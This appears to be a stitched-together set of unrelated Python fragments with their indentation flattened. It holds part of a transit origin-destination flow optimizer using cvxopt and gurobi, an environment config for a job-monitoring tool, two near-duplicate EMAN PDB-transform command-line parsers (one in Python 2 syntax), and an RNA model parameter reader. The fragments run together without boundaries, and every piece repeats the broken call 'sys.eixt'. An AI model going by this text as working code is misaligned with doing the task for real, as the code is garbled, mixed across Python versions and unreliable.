print(" Arrive at destination.")
# End of test print.
break
# Find next node.
# If preference set not empty, which means it's able to get to the destination in T;
if prefer_links_optimal[r_dest, l, tau, i_t]:
link_next = prefer_links_optimal[r_dest, l,
tau,
i_t][0]
l_next = tn.links_exp[link_next][1]
i_t_next = tn.links_exp[link_next][3]
i_next = tn.stops_exp_2[i_t_next][1]
t_next = tn.stops_exp_2[i_t_next][2]
if l_next == (num_choices - 1):
tau_next = tau
else:
# Use TT to update tau.
tau_next = t_next
else:
if TEST_QUADRATIC_PROG == 1:
print()
print(
" This node cannot reach destination within horizon."
)
# End of test print.
break
# Update node.
i_t = i_t_next
i = i_next
t = t_next
l = l_next
tau = tau_next
if QUADRATIC_PROG_SOLVING_PKG == "cvxopt":
# A
# Adopt od_flow_to_stop_prob matrix from assignment of last iteration to obtain A.
# For enter measurement at node r_h_depart
for h_depart in range(T):
for q_origin in range(N):
# flow var coeff
for r_dest in range(N):
A[N * h_depart + q_origin,
N * N * h_depart + N * q_origin + r_dest] = 1
# Measurement var (O) coeff
A[N * h_depart + q_origin,
N * N * T + N * h_depart + q_origin] = -1
# For exit measurement at node s_t
for t_exit in range(T):
for r_dest in range(N):
# flow var coeff
for q_origin in range(N):
for h_depart in range(t_exit):
if q_origin != r_dest:
A[N * T + N * t_exit + r_dest,
N * N * h_depart + N * q_origin +
r_dest] = od_flow_to_stop_prob[q_origin,
r_dest,
h_depart,
r_dest,
t_exit]
# Measurement var (D) coeff
# Remember to use t!
A[N * T + N * t_exit + r_dest,
N * N * T + N * T + N * t_exit + r_dest] = -1
# For passby measurement at node n_t
for i_stop in range(N):
for t_passby in range(T):
# Q
# Note that enter flows could also be detedted by wifi, hence here
# h_depart range in 0 ~ t.
for h_depart in range(t_passby):
for q_origin in range(N):
for r_dest in range(N):
if i_stop != q_origin and i_stop != r_dest:
A[2 * N * T + N * t_passby + i_stop,
N * N * h_depart + N * q_origin +
r_dest] = od_flow_to_stop_prob[q_origin,
r_dest,
h_depart,
i_stop,
t_passby]
# Measuremnt var (X) coeff
# Remember to use t!
A[2 * N * T + N * t_passby + i_stop,
N * N * T + 2 * N * T + N * t_passby + i_stop] = -1
print()
print(' Quadratic programming solver begins ...')
# Transform numpy matrix to cvxopt matrix
A = matrix(A, tc='d')
sol = solvers.qp(Q, p, G, h, A, b)
print()
print(' Solver finished once!')
print(' Slover status:')
print(sol['status'])
# 'sol' is dictionary
# Key: 'status', 'x', 'primal objective'
if sol['status'] == 'optimal':
print()
optimal_objective = sol['primal objective']
# Add constants neglected in optimization.
for k_meas in range(I):
for i_stop in range(N):
optimal_objective += entry_count[N * k_meas +
i_stop]**2
optimal_objective += exit_count[N * k_meas + i_stop]**2
optimal_objective += passby_count[N * k_meas +
i_stop]**2
print("Optimal objective " + str(optimal_objective))
for q_origin in range(N):
for r_dest in range(N):
for h_depart in range(T):
od_flow[q_origin, r_dest,
h_depart] = sol['x'][N * N * h_depart +
N * q_origin + r_dest]
else:
print()
print(' Error: no optimal solution found!')
# Stop iteration
sys.eixt(1)
# Sparse matrix
elif QUADRATIC_PROG_SOLVING_PKG == "gurobi":
# If the platform is Win, objective and constraints should be added.
if platform.system() == 'Windows':
m = Model("qp")
# Create variables
# f_i_j_h
for q_origin in range(N):
for r_dest in range(N):
for h_depart in range(T):
if INTEGER_PROG == 1:
exec(
"f_%d_%d_%d = m.addVar(vtype=GRB.INTEGER, lb=0, name='f_%d_%d_%d')"
% (q_origin, r_dest, h_depart, q_origin,
r_dest, h_depart), globals())
elif INTEGER_PROG == 0:
exec(
"f_%d_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='f_%d_%d_%d')"
% (q_origin, r_dest, h_depart, q_origin,
r_dest, h_depart), globals())
# o_q_h
for q_origin in range(N):
for h_depart in range(T):
exec(
"o_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='o_%d_%d')"
% (q_origin, h_depart, q_origin, h_depart),
globals())
# d_r_t
for r_dest in range(N):
for t in range(T):
exec(
"d_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='d_%d_%d')"
% (r_dest, t, r_dest, t), globals())
# x_i_t
for i_stop in range(N):
for t in range(T):
exec(
"x_%d_%d = m.addVar(vtype=GRB.CONTINUOUS, lb=0, name='x_%d_%d')"
% (i_stop, t, i_stop, t), globals())
# Set objective
obj_str = 'obj = '
for k_meas in range(I):
# o_q_h
for q_origin in range(N):
temp_str = '('
for h_depart in range(C * k_meas, C * (k_meas + 1)):
temp_str += 'o_' + str(q_origin) + '_' + str(
h_depart)
if h_depart != C * (k_meas + 1) - 1:
temp_str += '+'
temp_str += ' - ' + str(
entry_count[N * k_meas + q_origin])
temp_str += ')'
obj_str += temp_str + '*' + temp_str
obj_str += ' + '
# d_r_t
for r_dest in range(N):
temp_str = '('
for t in range(C * k_meas, C * (k_meas + 1)):
temp_str += 'd_' + str(r_dest) + '_' + str(t)
if t != C * (k_meas + 1) - 1:
temp_str += '+'
temp_str += ' - ' + str(
exit_count[N * k_meas + r_dest])
temp_str += ')'
obj_str += temp_str + '*' + temp_str
obj_str += ' + '
# x_i_t
for i_stop in range(N):
temp_str = '('
for t in range(C * k_meas, C * (k_meas + 1)):
temp_str += 'x_' + str(i_stop) + '_' + str(t)
if t != C * (k_meas + 1) - 1:
temp_str += '+'
temp_str += ' - ' + str(
passby_count[N * k_meas + i_stop])
temp_str += ')'
obj_str += temp_str + '*' + temp_str
if not (i_stop == (N - 1) and k_meas == (I - 1)):
obj_str += ' + '
if TEST_QUADRATIC_PROG == 1:
print()
print(" objective is:")
print(obj_str)
# End of test print.
exec(obj_str, globals())
m.setObjective(obj, GRB.MINIMIZE)
# Add constraints (part).
count_constraint = 0
# o_q_h
for q_origin in range(N):
for h_depart in range(T):
const_str = ''
temp_count = 0
for r_dest in range(N):
if r_dest != q_origin:
if temp_count != 0:
const_str += ' + '
const_str += 'f_' + str(q_origin) + '_' + str(
r_dest) + '_' + str(h_depart)
temp_count += 1
if temp_count > 0:
const_str += ' == '
const_str += 'o_' + str(q_origin) + '_' + str(
h_depart)
if TEST_QUADRATIC_PROG == 1:
print()
print(
" A entry count constraint is added: ")
print(const_str)
# End of test print.
m.addConstr(eval(const_str),
'c' + str(count_constraint))
count_constraint += 1
# If the sys is not Win, delete dated constraints.
if platform.system() != 'Windows' and iteration_count != 0:
m.remove(m.getConstrs()[N * T:3 * N * T])
# Add other constraints in the following.
count_constraint = N * T
# d_r_t
for r_dest in range(N):
for t in range(1, T):
const_str = ''
temp_count = 0
for q_origin in range(N):
for h_depart in range(T):
if q_origin != r_dest and h_depart < t:
if od_flow_to_stop_prob[q_origin, r_dest,
h_depart, r_dest,
t] > 0.0001:
if temp_count != 0:
const_str += ' + '
const_str += str(
od_flow_to_stop_prob[q_origin, r_dest,
h_depart, r_dest,
t]
) + ' * f_' + str(q_origin) + '_' + str(
r_dest) + '_' + str(h_depart)
temp_count += 1
if temp_count > 0:
const_str += ' == '
const_str += 'd_' + str(r_dest) + '_' + str(t)
if TEST_QUADRATIC_PROG == 1:
print()
print(" A exit count constraint is added: ")
print(const_str)
# End of test print.
m.addConstr(eval(const_str),
'c' + str(count_constraint))
count_constraint += 1
# x_i_t
for i_stop in range(N):
for t in range(T):
const_str = ''
temp_count = 0
for q_origin in range(N):
for r_dest in range(N):
for h_depart in range(T):
if i_stop != q_origin and i_stop != r_dest and t > h_depart and od_flow_to_stop_prob[
q_origin, r_dest, h_depart, i_stop,
t] > 0.0001:
if temp_count != 0:
const_str += ' + '
const_str += str(
od_flow_to_stop_prob[q_origin, r_dest,
h_depart, i_stop,
t]
) + ' * f_' + str(q_origin) + '_' + str(
r_dest) + '_' + str(h_depart)
temp_count += 1
if temp_count > 0:
const_str += ' == '
const_str += 'x_' + str(i_stop) + '_' + str(t)
if TEST_QUADRATIC_PROG == 1:
print()
print(" A passby count constraint is added: ")
print(const_str)
# End of test print.
m.addConstr(eval(const_str),
'c' + str(count_constraint))
count_constraint += 1
# Optimize model
m.optimize()
print(' Obj: %g' % m.objVal)
if iteration_count == 0:
with open("results/dynamic/obj_upper_level.csv", "w") as f:
f.write(str(m.objVal))
else:
with open("results/dynamic/obj_upper_level.csv", "a") as f:
f.write('\n')
f.write(str(m.objVal))
# Obtain results
for v in m.getVars():
temp_name = v.varName
temp_name = temp_name.split('_')
if temp_name[0] == 'f':
od_flow[int(temp_name[1]),
int(temp_name[2]),
int(temp_name[3])] = v.x
# Save results
np.save(
'results/dynamic/od_flow_upper_level_iteration_' +
str(iteration_count), od_flow)
print()
print(' The optimal od_flow obtained!')
# Lower level - Solving dynamic schedule based UE assignment problem.
print(' Lower level begins ...')
# If this is not a test, then update od_flow_to_stop_prob.
if (TEST_QUADRATIC_PROG != 1):
od_flow_to_stop_prob, link_combined_flow = dynamic_schedule_based_ue_assignment_algorithm(
tn, od_flow, od_flow_to_stop_prob)
#np.save('results/dynamic/od_flow_to_stop_prob_upper_level_iteration_' + str(iteration_count), od_flow_to_stop_prob)
np.save(
'results/dynamic/link_combined_flow_upper_level_iteration_' +
str(iteration_count), link_combined_flow)
else:
print()
print(
" Testing quadratic prog; od_flow_to_stop_prob is not updated."
)
# Convergence test.
if iteration_count >= 1:
avg_mse_od_flow = 0
for r in range(N):
for s in range(N):
for h_depart in range(T):
avg_mse_od_flow += (od_flow_last[r, s, h_depart] -
od_flow[r, s, h_depart])**2
#if abs(od_flow_last[r,s,h_depart] - od_flow[r,s,h_depart]) > 0.1:
# print()
# print(" od_flow_last" + str([r,s,h_depart]) + ": " + str(od_flow_last[r,s,h_depart]))
# print(" od_flow" + str([r,s,h_depart]) + ": " + str(od_flow[r,s,h_depart]))
avg_mse_od_flow /= N * N * T
print()
print(" Iteration: " + str(iteration_count) +
" avg_mse_od_flow: " + str(avg_mse_od_flow))
if iteration_count == 1:
with open("results/dynamic/avg_mse_od_flow_upper_level.csv",
'w') as f:
f.write(str(avg_mse_od_flow))
else:
with open("results/dynamic/avg_mse_od_flow_upper_level.csv",
'a') as f:
f.write('\n')
f.write(str(avg_mse_od_flow))
avg_mse_link_flow = 0
for link_index in range(len(link_combined_flow)):
avg_mse_link_flow += (link_combined_flow_last[link_index] -
link_combined_flow[link_index])**2
#if abs(link_combined_flow_last[link_index] - link_combined_flow[link_index]) > 0.1:
# print()
# print(" link_combined_flow_last" + str([link_index]) + ": " + str(link_combined_flow_last[link_index]))
# print(" link_combined_flow" + str([link_index]) + ": " + str(link_combined_flow[link_index]))
avg_mse_link_flow /= len(link_combined_flow)
print()
print(" Iteration: " + str(iteration_count) +
" avg_mse_link_flow: " + str(avg_mse_link_flow))
if iteration_count == 1:
with open("results/dynamic/avg_mse_link_flow_upper_level.csv",
'w') as f:
f.write(str(avg_mse_link_flow))
else:
with open("results/dynamic/avg_mse_link_flow_upper_level.csv",
'a') as f:
f.write('\n')
f.write(str(avg_mse_link_flow))
if avg_mse_od_flow < CONVERGENCE_CRITERION and avg_mse_link_flow < CONVERGENCE_CRITERION:
print()
print("Convergence reached!")
converg_flag = 1
continue
od_flow_last = deepcopy(od_flow)
link_combined_flow_last = deepcopy(link_combined_flow)
if iteration_count >= MAX_NUMBER_OF_ITERATIONS:
print()
print(' Warning! bi-level prog not converging at ' +
str(MAX_NUMBER_OF_ITERATIONS) + 'th iteration!')
sys.exit(1)
iteration_count += 1
return od_flow
"""
set environment variables.
"""
import os
import sys
# root path for job_surveillance dir
PATH = None
# user name
USER = None
# user email address
USER_EMAIL = None
# fake email address from which sending email
# to users.
SERVER_EMAIL = None
# initial environment var
PATH = os.environ['JOB_SVLN_PATH'].rstrip('/') + '/'
PATH = os.path.expanduser(PATH)
if not os.path.isdir(PATH):
print "Terminated: JOB_SVLN_PATH is not valid!\n"
sys.eixt()
USER = os.environ['JOB_SVLN_USER']
USER_EMAIL = os.environ['JOB_SVLN_USER_EMAIL']
SERVER_EMAIL = os.environ['JOB_SVLN_SERVER_EMAIL']
def main():
progname = os.path.basename(sys.argv[0])
usage = """Usage:\nprocpdb.py <input>\nprocpdb.py <input> <output> [rot=<alt,az,phi>] [trans=<dx,dy,dz>] [centeratoms] [centerelec] [centermass] [apix=<A/pixel>]\n."""
parser = EMArgumentParser(usage=usage, version=EMANVERSION)
####################
parser.add_argument(
"--animorph",
"-AN",
type=str,
help=
"This will use a morph vector file (segment3d) to morph atom positions,#P [animorph=<n>,<apix>,<vecfile>]",
default=None)
parser.add_argument("--apix", "-A", type=float, help="apix", default=1.0)
parser.add_argument("--scale", "-S", type=float, help="scale", default=1.0)
parser.add_argument("--center",
"-C",
type=str,
help="center of the rotation, (0,0,0)",
default='0.0,0.0,0.0')
parser.add_argument(
"--chains",
type=str,
help="String list of chain identifiers to include, eg 'ABEFG'",
default=None)
parser.add_argument("--trans",
"-TR",
type=str,
help="transform, (0,0,0)",
default='0,0,0')
parser.add_argument("--include",
type=str,
help="savetype",
default=["helix", "sheet", "other"])
parser.add_argument("--mirror", type=bool, help="mirror", default='False')
#matrix
parser.add_argument("--matrix",
"-matrix",
type=str,
help="transform matrix.",
default='0,0,0,0,0,0,0,0,0,0,0,0')
parser.add_argument(
"--rot",
type=str,
metavar="az,alt,phi or convention:par=val:...",
help=
"Rotate map. Specify az,alt,phi or convention:par=val:par=val:... eg - mrc:psi=22:theta=15:omega=7",
action="append",
default=None)
parser.add_argument("--type",
"-T",
type=str,
help="convention type",
default='eman')
#eman input, default setting
parser.add_argument("--az",
"-az",
type=float,
help="az in eman convention.",
default=0)
parser.add_argument("--alt",
"-alt",
type=float,
help="alt in eman convention.",
default=0)
parser.add_argument("--phi", "-phi", type=float, help="phi.", default=0)
#imagic
parser.add_argument("--alpha",
"-alpha",
type=float,
help="alpha in imagic convention.",
default=0)
parser.add_argument("--beta",
"-beta",
type=float,
help="beta in imagic convention.",
default=0)
parser.add_argument("--gamma",
"-gamma",
type=float,
help="gamma in imagic convention.",
default=0)
#spider
parser.add_argument("--theta",
"-theta",
type=float,
help="theta.",
default=0)
parser.add_argument("--psi",
"-psi",
type=float,
help="psi in spider convention.",
default=0)
#xyz
parser.add_argument("--xtilt",
"-xtilt",
type=float,
help="xtilt in xyz convention.",
default=0)
parser.add_argument("--ytilt",
"-ytilt",
type=float,
help="ytilt in xyz convention.",
default=0)
parser.add_argument("--ztilt",
"-ztilt",
type=float,
help="ztilt in xyz convention.",
default=0)
#mrc
parser.add_argument("--omega",
"-omega",
type=float,
help="omega.",
default=0)
#quaternion
parser.add_argument("--e0",
"-e0",
type=float,
help="e0 in quaternion convention.",
default=0)
parser.add_argument("--e1",
"-e1",
type=float,
help="e1 in quaternion convention.",
default=0)
parser.add_argument("--e2",
"-e2",
type=float,
help="e2 in quaternion convention.",
default=0)
parser.add_argument("--e3",
"-e3",
type=float,
help="e3 in quaternion convention.",
default=0)
#spin
parser.add_argument("--n1", "-n1", type=float, help="n1.", default=0)
parser.add_argument("--n2", "-n2", type=float, help="n2.", default=0)
parser.add_argument("--n3", "-n3", type=float, help="n3.", default=0)
#sigrot
parser.add_argument("--q",
"-q",
type=float,
help="q in sgirot convention.",
default=0)
(options, args) = parser.parse_args()
if len(args) < 2:
parser.error("Input and output files required")
sys.eixt(1)
trans = options.trans
mirror = options.mirror
mat = options.matrix.split(',')
try:
mat = [float(i) for i in mat]
except:
raise Exception("Invalid Input: %s" % optstr)
trans = options.trans.split(',')
try:
trans = [float(i) for i in trans]
except:
raise Exception("Invalid Input: %s" % optstr)
parms = {"type": options.type}
parms["tx"] = trans[0]
parms["ty"] = trans[1]
parms["tz"] = trans[2]
parms["scale"] = options.scale
parms["mirror"] = options.mirror
if options.rot == None:
if options.type == "matrix":
t = Transform(mat)
elif options.type == "eman":
parms["az"] = options.az
parms["alt"] = options.alt
parms["phi"] = options.phi
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "imagic":
parms["alpha"] = options.alpha
parms["beta"] = options.beta
parms["gamma"] = options.gamma
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "spider":
parms["phi"] = options.phi
parms["theta"] = options.theta
parms["psi"] = options.psi
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "xyz":
parms["xtilt"] = options.xtilt
parms["ytilt"] = options.ytilt
parms["ztilt"] = options.ztilt
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "mrc":
parms["phi"] = options.phi
parms["theta"] = options.theta
parms["omega"] = options.omega
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "quaternion":
parms["e0"] = options.e0
parms["e1"] = options.e1
parms["e2"] = options.e2
parms["e3"] = options.e3
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "spin":
parms["omega"] = options.omega
parms["n1"] = options.n1
parms["n2"] = options.n2
parms["n3"] = options.n3
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
elif options.type == "sgirot":
parms["n1"] = options.n1
parms["n2"] = options.n2
parms["n3"] = options.n3
parms["q"] = options.q
try:
t = Transform(parms)
except:
raise Exception("Invalid transform: %s" % parms)
else:
print(
"get error, please input the right convention, example eman, imagic, spider, mrc, xyz, sgirot, quaternion, matrix"
)
else:
t = parse_transform(options.rot[0])
inp = open(args[0], 'r')
lines = inp.readlines()
inp.close()
outputlines = pdb_transform(t, lines, options.center, options.include,
options.animorph, options.apix, options.chains,
trans)
out = open(args[1], "w")
for i in outputlines:
out.write(i)
out.close()
def main():
progname = os.path.basename(sys.argv[0])
usage = """Usage:\nprocpdb.py <input>\nprocpdb.py <input> <output> [rot=<alt,az,phi>] [trans=<dx,dy,dz>] [centeratoms] [centerelec] [centermass] [apix=<A/pixel>]\n."""
parser = EMArgumentParser(usage=usage,version=EMANVERSION)
####################
parser.add_argument("--animorph", "-AN", type=str, help="This will use a morph vector file (segment3d) to morph atom positions,#P [animorph=<n>,<apix>,<vecfile>]",default=None)
parser.add_argument("--apix", "-A", type=float, help="apix", default=1.0)
parser.add_argument("--scale", "-S", type=float, help="scale", default=1.0)
parser.add_argument("--center", "-C", type=str, help="center of the rotation, (0,0,0)", default='0.0,0.0,0.0')
parser.add_argument("--chains",type=str,help="String list of chain identifiers to include, eg 'ABEFG'", default=None)
parser.add_argument("--trans", "-TR", type=str, help="transform, (0,0,0)",default='0,0,0')
parser.add_argument("--include", type=str,help="savetype", default=["helix","sheet","other"])
parser.add_argument("--mirror",type=bool, help="mirror",default='False')
parser.add_argument("--type", "-T", type=str, help="convention type", default='eman')
#eman input, default setting
parser.add_argument("--az", "-az", type=float, help="az in eman convention.", default=0)
parser.add_argument("--alt", "-alt", type=float, help="alt in eman convention.", default=0)
parser.add_argument("--phi", "-phi", type=float, help="phi.", default=0)
#imagic
parser.add_argument("--alpha", "-alpha", type=float, help="alpha in imagic convention.", default=0)
parser.add_argument("--beta", "-beta", type=float, help="beta in imagic convention.", default=0)
parser.add_argument("--gamma", "-gamma", type=float, help="gamma in imagic convention.", default=0)
#spider
parser.add_argument("--theta", "-theta", type=float, help="theta.", default=0)
parser.add_argument("--psi", "-psi", type=float, help="psi in spider convention.", default=0)
#xyz
parser.add_argument("--xtilt", "-xtilt", type=float, help="xtilt in xyz convention.", default=0)
parser.add_argument("--ytilt", "-ytilt", type=float, help="ytilt in xyz convention.", default=0)
parser.add_argument("--ztilt", "-ztilt", type=float, help="ztilt in xyz convention.", default=0)
#mrc
parser.add_argument("--omega", "-omega", type=float, help="omega.", default=0)
#quaternion
parser.add_argument("--e0", "-e0", type=float, help="e0 in quaternion convention.", default=0)
parser.add_argument("--e1", "-e1", type=float, help="e1 in quaternion convention.", default=0)
parser.add_argument("--e2", "-e2", type=float, help="e2 in quaternion convention.", default=0)
parser.add_argument("--e3", "-e3", type=float, help="e3 in quaternion convention.", default=0)
#spin
parser.add_argument("--n1", "-n1", type=float, help="n1.", default=0)
parser.add_argument("--n2", "-n2", type=float, help="n2.", default=0)
parser.add_argument("--n3", "-n3", type=float, help="n3.", default=0)
#sigrot
parser.add_argument("--q", "-q", type=float, help="q in sgirot convention.", default=0)
#matrix
parser.add_argument("--matrix", "-matrix", type=str, help="transform matrix.", default='0,0,0,0,0,0,0,0,0,0,0,0')
parser.add_argument("--rot",type=str,metavar="az,alt,phi or convention:par=val:...",help="Rotate map. Specify az,alt,phi or convention:par=val:par=val:... eg - mrc:psi=22:theta=15:omega=7", action="append",default=None)
(options, args) = parser.parse_args()
if len(args)<2 :
parser.error("Input and output files required")
sys.eixt(1)
trans=options.trans
mirror=options.mirror
mat=options.matrix.split(',')
try: mat=[float(i) for i in mat]
except:
raise Exception,"Invalid Input: %s"%optstr
trans=options.trans.split(',')
try: trans=[float(i) for i in trans]
except:
raise Exception,"Invalid Input: %s"%optstr
parms={"type":options.type}
parms["tx"]=trans[0]
parms["ty"]=trans[1]
parms["tz"]=trans[2]
parms["scale"]=options.scale
parms["mirror"]=options.mirror
if options.rot==None:
if options.type=="matrix":
t=Transform(mat)
elif options.type=="eman":
parms["az"]=options.az
parms["alt"]=options.alt
parms["phi"]=options.phi
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="imagic":
parms["alpha"]=options.alpha
parms["beta"]=options.beta
parms["gamma"]=options.gamma
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="spider":
parms["phi"]=options.phi
parms["theta"]=options.theta
parms["psi"]=options.psi
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="xyz":
parms["xtilt"]=options.xtilt
parms["ytilt"]=options.ytilt
parms["ztilt"]=options.ztilt
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="mrc":
parms["phi"]=options.phi
parms["theta"]=options.theta
parms["omega"]=options.omega
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="quaternion":
parms["e0"]=options.e0
parms["e1"]=options.e1
parms["e2"]=options.e2
parms["e3"]=options.e3
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="spin":
parms["omega"]=options.omega
parms["n1"]=options.n1
parms["n2"]=options.n2
parms["n3"]=options.n3
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
elif options.type=="sgirot":
parms["n1"]=options.n1
parms["n2"]=options.n2
parms["n3"]=options.n3
parms["q"]=options.q
try: t=Transform(parms)
except:
raise Exception,"Invalid transform: %s"%parms
else:
print "get error, please input the right convention, example eman, imagic, spider, mrc, xyz, sgirot, quaternion, matrix"
else:
t=parse_transform(options.rot[0])
inp = open(args[0], 'r')
lines = inp.readlines()
inp.close()
outputlines=pdb_transform(t,lines,options.center,options.include,options.animorph,options.apix,options.chains,trans)
out=open(args[1],"w")
for i in outputlines: out.write(i)
out.close()
def read_all(self, ni):
self._file.seek(0)
for line in self._file:
if line[0:4] == 'bond':
ni.bondlengths.append(line2bondlength(line))
elif line[0:4] == 'fene':
ni.fenes.append(line2fene(line))
elif line[0:4] == 'angl':
ni.bondangles.append(line2bondangle(line))
elif line[0:4] == 'dihd':
ni.dihedrals.append(line2dihedral(line))
elif line[0:7] == 'contact':
ni.contacts.append(line2contact(line))
elif line[0:2] == 'LJ':
ni.contacts.append(line2LJ(line))
elif line[0:9] == 'basestack':
ni.basestacks.append(line2basestack(line))
elif line[0:8] == 'basepair':
ni.basepairs.append(line2basepair(line))
'''
bs-dist (BaseStackDT)
'''
self._file.seek(0)
for line in self._file:
if line[0:7] == 'bs-dist':
ni.basestackDTs.append(line2basestackDT(line))
self._file.seek(0)
for line in self._file:
if line[0:7] == 'bs-dihd':
lsp = line.split()
itr = iter(lsp)
next(itr) # 'bs-dihd'
ibs = int(next(itr))
for bs in ni.basestackDTs:
if bs.id == ibs:
if bs.dih1_id is None:
bs.dih1_id = int(next(itr))
bs.dih1_iunit1 = int(next(itr))
bs.dih1_iunit2 = int(next(itr))
bs.dih1_imp1 = int(next(itr))
bs.dih1_imp2 = int(next(itr))
bs.dih1_imp3 = int(next(itr))
bs.dih1_imp4 = int(next(itr))
bs.dih1_imp1un = int(next(itr))
bs.dih1_imp2un = int(next(itr))
bs.dih1_imp3un = int(next(itr))
bs.dih1_imp4un = int(next(itr))
bs.dih1_native = float(next(itr))
bs.dih1_coef = float(next(itr))
bs.dih1_type = next(itr)
elif bs.dih2_id is None:
bs.dih2_id = int(next(itr))
bs.dih2_iunit1 = int(next(itr))
bs.dih2_iunit2 = int(next(itr))
bs.dih2_imp1 = int(next(itr))
bs.dih2_imp2 = int(next(itr))
bs.dih2_imp3 = int(next(itr))
bs.dih2_imp4 = int(next(itr))
bs.dih2_imp1un = int(next(itr))
bs.dih2_imp2un = int(next(itr))
bs.dih2_imp3un = int(next(itr))
bs.dih2_imp4un = int(next(itr))
bs.dih2_native = float(next(itr))
bs.dih2_coef = float(next(itr))
bs.dih2_type = next(itr)
else:
print('Error dih1 and dih2 are occupied')
sys.exit(2)
#check
for bs in ni.basestackDTs:
if bs.dih1_id is None or bs.dih2_id is None:
print('Error dih1 and/or dih2 is empty')
sys.eixt(2)
'''
tbs-dist (TertiaryStackDT)
'''
self._file.seek(0)
for line in self._file:
if line[0:8] == 'tbs-dist':
ni.tertiarystackDTs.append(line2tertiarystackDT(line))
self._file.seek(0)
for line in self._file:
if line[0:8] == 'tbs-angl':
lsp = line.split()
itr = iter(lsp)
next(itr) # 'tbs-angl'
ibs = int(next(itr))
for bs in ni.tertiarystackDTs:
if bs.id == ibs:
if bs.ang1_id is None:
bs.ang1_id = int(next(itr))
bs.ang1_iunit1 = int(next(itr))
bs.ang1_iunit2 = int(next(itr))
bs.ang1_imp1 = int(next(itr))
bs.ang1_imp2 = int(next(itr))
bs.ang1_imp3 = int(next(itr))
bs.ang1_imp1un = int(next(itr))
bs.ang1_imp2un = int(next(itr))
bs.ang1_imp3un = int(next(itr))
bs.ang1_native = float(next(itr))
bs.ang1_coef = float(next(itr))
elif bs.ang2_id is None:
bs.ang2_id = int(next(itr))
bs.ang2_iunit1 = int(next(itr))
bs.ang2_iunit2 = int(next(itr))
bs.ang2_imp1 = int(next(itr))
bs.ang2_imp2 = int(next(itr))
bs.ang2_imp3 = int(next(itr))
bs.ang2_imp1un = int(next(itr))
bs.ang2_imp2un = int(next(itr))
bs.ang2_imp3un = int(next(itr))
bs.ang2_native = float(next(itr))
bs.ang2_coef = float(next(itr))
else:
print('Error ang1 and ang2 are occupied')
sys.exit(2)
self._file.seek(0)
for line in self._file:
if line[0:8] == 'tbs-dihd':
lsp = line.split()
itr = iter(lsp)
next(itr) # 'tbs-dihd'
ibs = int(next(itr))
for bs in ni.tertiarystackDTs:
if bs.id == ibs:
if bs.dih0_id is None:
bs.dih0_id = int(next(itr))
bs.dih0_iunit1 = int(next(itr))
bs.dih0_iunit2 = int(next(itr))
bs.dih0_imp1 = int(next(itr))
bs.dih0_imp2 = int(next(itr))
bs.dih0_imp3 = int(next(itr))
bs.dih0_imp4 = int(next(itr))
bs.dih0_imp1un = int(next(itr))
bs.dih0_imp2un = int(next(itr))
bs.dih0_imp3un = int(next(itr))
bs.dih0_imp4un = int(next(itr))
bs.dih0_native = float(next(itr))
bs.dih0_coef = float(next(itr))
elif bs.dih1_id is None:
bs.dih1_id = int(next(itr))
bs.dih1_iunit1 = int(next(itr))
bs.dih1_iunit2 = int(next(itr))
bs.dih1_imp1 = int(next(itr))
bs.dih1_imp2 = int(next(itr))
bs.dih1_imp3 = int(next(itr))
bs.dih1_imp4 = int(next(itr))
bs.dih1_imp1un = int(next(itr))
bs.dih1_imp2un = int(next(itr))
bs.dih1_imp3un = int(next(itr))
bs.dih1_imp4un = int(next(itr))
bs.dih1_native = float(next(itr))
bs.dih1_coef = float(next(itr))
elif bs.dih2_id is None:
bs.dih2_id = int(next(itr))
bs.dih2_iunit1 = int(next(itr))
bs.dih2_iunit2 = int(next(itr))
bs.dih2_imp1 = int(next(itr))
bs.dih2_imp2 = int(next(itr))
bs.dih2_imp3 = int(next(itr))
bs.dih2_imp4 = int(next(itr))
bs.dih2_imp1un = int(next(itr))
bs.dih2_imp2un = int(next(itr))
bs.dih2_imp3un = int(next(itr))
bs.dih2_imp4un = int(next(itr))
bs.dih2_native = float(next(itr))
bs.dih2_coef = float(next(itr))
else:
print('Error dih1 and dih2 are occupied')
sys.exit(2)
#check
for bs in ni.tertiarystackDTs:
if bs.ang1_id is None or bs.ang2_id is None or bs.dih0_id is None or bs.dih1_id is None or bs.dih2_id is None:
print(
'Error ang1 and/or ang2 and/or dih1 and/or dih2 is empty')
sys.eixt(2)
'''
hb-dist (HBondDT)
'''
self._file.seek(0)
for line in self._file:
if line[0:7] == 'hb-dist':
ni.hbondDTs.append(line2hbondDT(line))
self._file.seek(0)
for line in self._file:
if line[0:7] == 'hb-angl':
lsp = line.split()
itr = iter(lsp)
next(itr) # 'hb-angl'
ihb = int(next(itr))
for hb in ni.hbondDTs:
if hb.id == ihb:
if hb.ang1_id is None:
hb.ang1_id = int(next(itr))
hb.ang1_iunit1 = int(next(itr))
hb.ang1_iunit2 = int(next(itr))
hb.ang1_imp1 = int(next(itr))
hb.ang1_imp2 = int(next(itr))
hb.ang1_imp3 = int(next(itr))
hb.ang1_imp1un = int(next(itr))
hb.ang1_imp2un = int(next(itr))
hb.ang1_imp3un = int(next(itr))
hb.ang1_native = float(next(itr))
hb.ang1_coef = float(next(itr))
elif hb.ang2_id is None:
hb.ang2_id = int(next(itr))
hb.ang2_iunit1 = int(next(itr))
hb.ang2_iunit2 = int(next(itr))
hb.ang2_imp1 = int(next(itr))
hb.ang2_imp2 = int(next(itr))
